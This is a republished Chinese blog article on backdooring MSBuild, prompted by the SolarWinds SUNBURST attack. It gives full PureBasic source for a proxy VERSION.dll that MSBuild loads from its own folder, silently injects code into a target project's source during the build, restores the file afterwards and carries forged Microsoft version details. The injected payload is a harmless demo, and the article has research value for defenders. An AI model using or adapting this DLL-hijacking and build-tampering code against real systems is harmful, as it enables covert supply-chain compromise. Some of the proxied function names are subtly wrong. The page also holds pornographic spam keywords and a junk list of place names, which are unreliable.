91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么分析MSBuild后門技術

發布時間:2021-10-20 09:16:18 來源:億速云 閱讀:133 作者:iii 欄目:編程語言

這篇文章主要介紹“怎么分析MSBuild后門技術”,在日常操作中,相信很多人在怎么分析MSBuild后門技術問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么分析MSBuild后門技術”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

怎么分析MSBuild后門技術

寫在前面的話

在2020年,不同的美國聯邦政府分支機構都受到了大規模數據泄露的影響。其中很大一部分可以歸結于針對SolarWinds的供應鏈攻擊,包括其旗艦產品SolarWinds Orion的基礎設施建設。2021年1月11日,CrowdStrike情報小組發布了一份分析報告,分析了部署到SolarWinds構建環境中的一個惡意工具,而該惡意工具能夠在構建時將SUNBURST后門注入SolarWinds Orion平臺之中。

CrowdStrike的博客文章是一位同事介紹給我的。SUNBURST的開發人員會嘗試每秒都去搜索MSBuild.exe進程,然后讀取這些遠程進程中的虛擬內存來確定現在構建的是否是正確的解決方案。除此之外,SUNBURST攻擊者還會創建一個計劃任務,在目標設備每次啟動時執行后門植入操作。

實際上,我認為這種方式是很粗糙也很草率的,那怎么做才會更好呢?我們接著往下看!

MSBuild回顧

MSBuild微軟引擎在構建應用程序時,絕大多數時候都會使用XML文件來指導目標解決方案的構建過程。

在檢查MSBuild.exe的代碼時,你首先會注意到的一件事情就是它本審就是一個.NET程序集。那么,哪種方法才是后門化任意.NET程序集的最佳方法呢?

沒錯,就是使用version.dll。

運行任意解決方案的快速構建后(比如說使用C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64),并使用ProcMon記錄程序執行路徑,我們會發現程序會在MSBuild.exe目錄下搜索多個DLL文件:

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}


{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}

因此,我們就可以直接對MSBuild.exe或C#編譯器(Csc.exe)下手了!正如CrowdStrike所提到的,植入的后門代碼已經檢查出了正確的解決方案,所以我們在測試中也將針對MSBuild.exe文件進行操作。

VERSION.dll結構

我們已經知道,VERSION.dll會導出17個不同的名稱,我們需要去實現這些內容以確定目標的正常功能不受影響。

__export_name(GetFileVersionInfoA)

__export_name(GetFileVersionInfoByHandle)

__export_name(GetFileVersionInfoExA)

__export_name(GetFileVersionInfoExW)

__export_name(GetFileVersionInfoSizeA)

__export_name(GetFileVersionInfoSizeExA)

__export_name(GetFileVersionInfoSizeExW)

__export_name(GetFileVersionInfoSizeW)

__export_name(GetFileVersionInfoW)

__export_name(VerFindFileA)

__export_name(VerFindFileW)

__export_name(VerInstallFileA)

__export_name(VerInstallFileW)

__export_name(VerLanguageNameA)

__export_name(VerLanguageNameW)

__export_name(VerQueryValueA)

__export_name(VerQueryValueW)

概念驗證PoC

我們的PoC會在DLL中實現后門功能,而不需要每秒讀取遠程進程內存或觸發進程搜索。PoC將用PureBasic編寫,因為沒有一個正常的攻擊者會在其中實現他的植入,因此不需要考慮復制粘貼這個源代碼;-)

目標分析

注入的代碼應具有以下特征:

沒有其他正在運行的進程;

無遠程進程操作(讀取/寫入遠程進程內存等);

生成正確解決方案的唯一觸發器;

在生成過程中插入后門

在生成過程之后刪除后門源文件;

目標實現

正如我們前面看到的,VERSION.dll文件很早就由.NET運行時加載了。通過實現mock函數,不僅可以驗證是否加載了DLL,而且還可以知道在執行構建過程之前調用了GetFileVersionInfoSizeW函數,如下圖所示:

怎么分析MSBuild后門技術

考慮到這一點,那么我們就可以不依賴DllMain函數中任何不成熟的解決方案,而只需劫持GetFileVersionInfoSizeW調用,執行我們的后門插入代碼,然后調用真正的GetFileVersionInfoSizeW函數并返回其結果,就可以繞過加載程序鎖的任何問題。

在下面的PoC中,后門被插入到對GetFileVersionInfoSizeW的調用中。整個過程中,源代碼保存在內存中,只要用DLL_PROCESS_DETACH調用DllMain,就可以通過還原以前的源代碼來刪除后門代碼。

總結

通過將我們的VERSION.dll拷貝到MSBuild目錄下,我們可以更好地確保操作的安全性,因為不需要創建額外的進程,可以省略內存搜索并捕獲每一次的構建操作,因為我們的代碼是由MSBuild直接執行的。

怎么分析MSBuild后門技術

源碼獲取

源碼以及預編譯代碼可以在點擊【這里】獲取。

; ***************************************************************************

; *                                                                         *

; * Author:      marpie (marpie@a12d404.net)                                *

; * License:     BSD 2-clause                                               *

; * Copyright:   (c) 2021, a12d404.net                                      *

; * Status:      Prototype                                                  *

; * Created:     20200116                                                   *

; * Last Update: 20200117                                                   *

; *                                                                         *

; ***************************************************************************

EnableExplicit

 

; ---------------------------------------------------------------------------

;- Consts

 

#TARGET_SOLUTION = "ConsoleApp1.sln"

#BACKDOOR_CODE = "public Class1() { Console.WriteLine(" + Chr(34) + "Hello from the Static initializer!" + Chr(34) + "); }"

#BACKDOOR_INSERT_AFTER = "class Class1 {"

 

#BACKDOOR_ALIVE = $c45c9bda8db1

#MIN_SIZE = 100 ; 100 bytes

 

; ---------------------------------------------------------------------------

;- Variables

Global mux.i = #Null      ; set in DLL_PROCESS_ATTACH

Global hVersion.i = #Null ; orig version.dll handle

Global active.i = 0       ; checked in CleanupBackdoor

 

Global origContent.s = ""   ; ptr to memory of the original source

Global origContentSize.i = 0 ; size of the original source

 

; ---------------------------------------------------------------------------

;- Backdoor Handling

 

Procedure.s GetTargetFilePath()

  Define i.i

  Define path.s

  For i = 0 To CountProgramParameters()

    path = ProgramParameter(i)

    If CountString(path, #TARGET_SOLUTION) > 0

      ProcedureReturn GetPathPart(path) + "Program.cs"

    EndIf

  Next

  ProcedureReturn ""

EndProcedure

 

Procedure.b ReadOrigContent(hFile.i)

  Define res.b = #False

  FileSeek(hFile, 0, #PB_Absolute)

  Define size.i = Lof(hFile)

  Define *mem = AllocateMemory(size)

  If ReadData(hFile, *mem, size) <> size

    Goto ReadAllCleanup

  EndIf

  origContent = PeekS(*mem, size, #PB_UTF8)

  origContentSize = Len(origContent)

  res = #True

ReadAllCleanup:

  If *mem

    FreeMemory(*mem)

  EndIf

  ProcedureReturn res

EndProcedure

 

; InsertBackdoor needs to be called from a function holing mux!

Procedure.b InsertBackdoor(path.s)

  Define res.b = #False

  

  Define hFile.i = OpenFile(#PB_Any, path, #PB_File_SharedRead | #PB_UTF8)

  If Not hFile

    ProcedureReturn res

  EndIf

  

  ; read file content

  If Not ReadOrigContent(hFile)

    Goto InsertBackdoorError

  EndIf

  

  ; check if the right code is present

  Define pos.i = FindString(origContent, #BACKDOOR_INSERT_AFTER)-1

  If pos < 0

    Goto InsertBackdoorError

  EndIf

  

  ; revert file to 0

  FileSeek(hFile, 0, #PB_Absolute)

  TruncateFile(hFile)

  

  ; write content till start of backdoor

  Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER)

  Define sizeLeft = writeSize

  If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0

    ; we should add a restore of the original file here

    ; ... depending on the write error ...

    Goto InsertBackdoorError

  EndIf

  

  ; write backdoor

  writeSize = Len(#BACKDOOR_CODE)

  

  If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0

    ; we should add a restore of the original file here

    ; ... depending on the write error ...

    Goto InsertBackdoorError

  EndIf

  

  ; write rest of file

  writeSize = origContentSize-sizeLeft

  If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0

    ; we should add a restore of the original file here

    ; ... depending on the write error ...

    Goto InsertBackdoorError

  EndIf

  

  res = #True

InsertBackdoorCleanup:

  CloseFile(hFile)

  ProcedureReturn res

InsertBackdoorError:  

  If Len(origContent) > 0

    origContent = ""

    origContentSize= 0

  EndIf

  Goto InsertBackdoorCleanup

EndProcedure

 

Procedure ActivateBackdoor()

  LockMutex(mux)

  ; check if the backdoor is already alive

  If #BACKDOOR_ALIVE = active

    Goto ActivateBackdoorCleanup

  EndIf

  ; check if we have the right solution

  Define targetFilepath.s = GetTargetFilePath()

  If Len(targetFilepath) < 1

    Goto ActivateBackdoorCleanup

  EndIf

  

  MessageRequester("ActivateBackdoor", "Hello World from Solution: " + #CRLF$ + ProgramParameter(0))

  

  ; init backdoor

  If InsertBackdoor(targetFilepath)

    active = #BACKDOOR_ALIVE

    MessageRequester("ActivateBackdoor", "... backdoor insered ...")

  Else

    MessageRequester("ActivateBackdoor", "... backdooring failed ...")

  EndIf

  

ActivateBackdoorCleanup:

  UnlockMutex(mux)

  ProcedureReturn

EndProcedure

 

Procedure CleanupBackdoor()

  LockMutex(mux)

  If #BACKDOOR_ALIVE = active

    active = #Null

    ; Do cleanup here

    If origContentSize <> 0

      Define hFile.i = CreateFile(#PB_Any, GetTargetFilePath(), #PB_UTF8)

      If hFile

        WriteString(hFile, origContent, #PB_UTF8)

        CloseFile(hFile)

      EndIf

      origContent = ""

      origContentSize = 0

    EndIf

  EndIf

CleanupBackdoorCleanup:

  UnlockMutex(mux)

  ProcedureReturn

EndProcedure

 

; ---------------------------------------------------------------------------

;- DllMain Stuff

 

ProcedureDLL AttachProcess(Instance)

  mux = CreateMutex()

EndProcedure

 

ProcedureDLL DetachProcess(Instance)

  CleanupBackdoor()

EndProcedure

 

; ---------------------------------------------------------------------------

;- orig VERSION.dll Stuff

 

Procedure.i LoadVersionDll()

  Define res.i = #Null

  LockMutex(mux)

  If #Null = hVersion

    ; load version.dll

    Define dllPath.s = GetEnvironmentVariable("windir") + "\system32\version.dll"

    hVersion = OpenLibrary(#PB_Any, dllPath)

  EndIf

  res = hVersion

CleanupLoadVersionDll:

  UnlockMutex(mux)

  ProcedureReturn res

EndProcedure

 

;BOOL GetFileVersionInfoA(

;  LPCSTR lptstrFilename,

;  DWORD  dwHandle,

;  DWORD  dwLen,

;  LPVOID lpData

;);

ProcedureDLL.i GetFileVersionInfoA(a1.i, a2.l, a3.l, a4.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoA", a1, a2, a3, a4)

EndProcedure

 

;BOOL GetFileVersionInfoExA(

;  DWORD  dwFlags,

;  LPCSTR lpwstrFilename,

;  DWORD  dwHandle,

;  DWORD  dwLen,

;  LPVOID lpData

;);

ProcedureDLL.i GetFileVersionInfoExA(a1.l, a2.i, a3.l, a4.l, a5.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExA", a1, a2, a3, a4, a5)

EndProcedure

 

;BOOL GetFileVersionInfoExW(

;  DWORD   dwFlags,

;  LPCWSTR lpwstrFilename,

;  DWORD   dwHandle,

;  DWORD   dwLen,

;  LPVOID  lpData

;);

ProcedureDLL.i GetFileVersionInfoSizeExW(a1.l, a2.i, a3.l, a4.l, a5.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExW", a1, a2, a3, a4, a5)

EndProcedure

 

;DWORD GetFileVersionInfoSizeA(

;  LPCSTR  lptstrFilename,

;  LPDWORD lpdwHandle

;);

ProcedureDLL.i GetFileVersionInfoSizeA(a1.i, a2.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeA", a1, a2)

EndProcedure

 

;DWORD GetFileVersionInfoSizeExA(

;  DWORD   dwFlags,

;  LPCSTR  lpwstrFilename,

;  LPDWORD lpdwHandle

;);

ProcedureDLL.i GetFileVersionInfoSizeExA(a1.l, a2.i, a3.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExA", a1, a2, a3)

EndProcedure

 

;DWORD GetFileVersionInfoSizeExW(

;  DWORD   dwFlags,

;  LPCWSTR lpwstrFilename,

;  LPDWORD lpdwHandle

;);

ProcedureDLL.i GetFileVersionInfoExW(a1.l, a2.i, a3.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2, a3)

EndProcedure

 

;DWORD GetFileVersionInfoSizeW(

;  LPCWSTR lptstrFilename,

;  LPDWORD lpdwHandle

;);

ProcedureDLL.i GetFileVersionInfoSizeW(a1.i, a2.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2)

EndProcedure

 

;BOOL GetFileVersionInfoW(

;  LPCWSTR lptstrFilename,

;  DWORD   dwHandle,

;  DWORD   dwLen,

;  LPVOID  lpData

;);

ProcedureDLL.i GetFileVersionInfoW(a1.i, a2.l, a3.l, a4.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoW", a1, a2, a3, a4)

EndProcedure

 

; int hMem, LPCWSTR lpFileName, int v2, int v3

ProcedureDLL.i GetFileVersionInfoByHandle(a1.i, a2.i, a3.i, a4.l)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoByHandle", a1, a2, a3, a4)

EndProcedure

 

;DWORD VerFindFileA(

;  DWORD  uFlags,

;  LPCSTR szFileName,

;  LPCSTR szWinDir,

;  LPCSTR szAppDir,

;  LPSTR  szCurDir,

;  PUINT  puCurDirLen,

;  LPSTR  szDestDir,

;  PUINT  puDestDirLen

;);

ProcedureDLL.i VerFindFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileA", a1, a2, a3, a4, a5, a6, a7, a8)

EndProcedure

 

;DWORD VerFindFileW(

;  DWORD   uFlags,

;  LPCWSTR szFileName,

;  LPCWSTR szWinDir,

;  LPCWSTR szAppDir,

;  LPWSTR  szCurDir,

;  PUINT   puCurDirLen,

;  LPWSTR  szDestDir,

;  PUINT   puDestDirLen

;);

ProcedureDLL.i VerFindFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileW", a1, a2, a3, a4, a5, a6, a7, a8)

EndProcedure

 

;DWORD VerInstallFileA(

;  DWORD  uFlags,

;  LPCSTR szSrcFileName,

;  LPCSTR szDestFileName,

;  LPCSTR szSrcDir,

;  LPCSTR szDestDir,

;  LPCSTR szCurDir,

;  LPSTR  szTmpFile,

;  PUINT  puTmpFileLen

;);

ProcedureDLL.i VerInstallFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileA", a1, a2, a3, a4, a5, a6, a7, a8)

EndProcedure

 

;DWORD VerInstallFileW(

;  DWORD   uFlags,

;  LPCWSTR szSrcFileName,

;  LPCWSTR szDestFileName,

;  LPCWSTR szSrcDir,

;  LPCWSTR szDestDir,

;  LPCWSTR szCurDir,

;  LPWSTR  szTmpFile,

;  PUINT   puTmpFileLen

;);

ProcedureDLL.i VerInstallFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileW", a1, a2, a3, a4, a5, a6, a7, a8)

EndProcedure

 

;DWORD VerLanguageNameA(

;  DWORD wLang,

;  LPSTR szLang,

;  DWORD cchLang

;);

ProcedureDLL.i VerLanguageNameA(a1.l, a2.i, a3.l)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameA", a1, a2, a3)

EndProcedure

 

;DWORD VerLanguageNameW(

;  DWORD  wLang,

;  LPWSTR szLang,

;  DWORD  cchLang

;);

ProcedureDLL.i VerLanguageNameW(a1.l, a2.i, a3.l)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameW", a1, a2, a3)

EndProcedure

 

;BOOL VerQueryValueA(

;  LPCVOID pBlock,

;  LPCSTR  lpSubBlock,

;  LPVOID  *lplpBuffer,

;  PUINT   puLen

;);

ProcedureDLL.i VerQueryValueA(a1.i, a2.i, a3.i, a4.l)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueA", a1, a2, a3, a4)

EndProcedure

 

;BOOL VerQueryValueW(

;  LPCVOID pBlock,

;  LPCWSTR lpSubBlock,

;  LPVOID  *lplpBuffer,

;  PUINT   puLen

;);

ProcedureDLL.i VerQueryValueW(a1.i, a2.i, a3.i, a4.l)

  ActivateBackdoor()

  ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueW", a1, a2, a3, a4)

EndProcedure

 

; ---------------------------------------------------------------------------

 

; IDE Options = PureBasic 5.73 LTS (Windows - x64)

; ExecutableFormat = Shared dll

; CursorPosition = 85

; FirstLine = 60

; Folding = -----

; Executable = version.dll

; CompileSourceDirectory

; EnablePurifier

; IncludeVersionInfo

; VersionField2 = Microsoft Corporation

; VersionField3 = Microsoft? Windows? Operating System

; VersionField5 = 10.0.20190.1000 (WinBuild.160101.0800)

; VersionField6 = Version Checking and File Installation Libraries

; VersionField7 = version

; VersionField8 = VERSION.DLL

; VersionField9 = ? Microsoft Corporation. All rights reserved.

; VersionField15 = VOS_NT

; VersionField16 = VFT_DLL

到此,關于“怎么分析MSBuild后門技術”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

保靖县| 绍兴县| 南华县| 隆化县| 南乐县| 冷水江市| 政和县| 齐齐哈尔市| 高安市| 简阳市| 商水县| 克拉玛依市| 伽师县| 泗洪县| 镇宁| 武胜县| 绩溪县| 黔西县| 开原市| 安乡县| 天峨县| 达州市| 错那县| 西盟| 定兴县| 长宁区| 沁阳市| 松溪县| 繁昌县| 泰兴市| 高阳县| 工布江达县| 礼泉县| 荣成市| 五河县| 高雄县| 宜章县| 台中市| 开阳县| 安国市| 浦城县|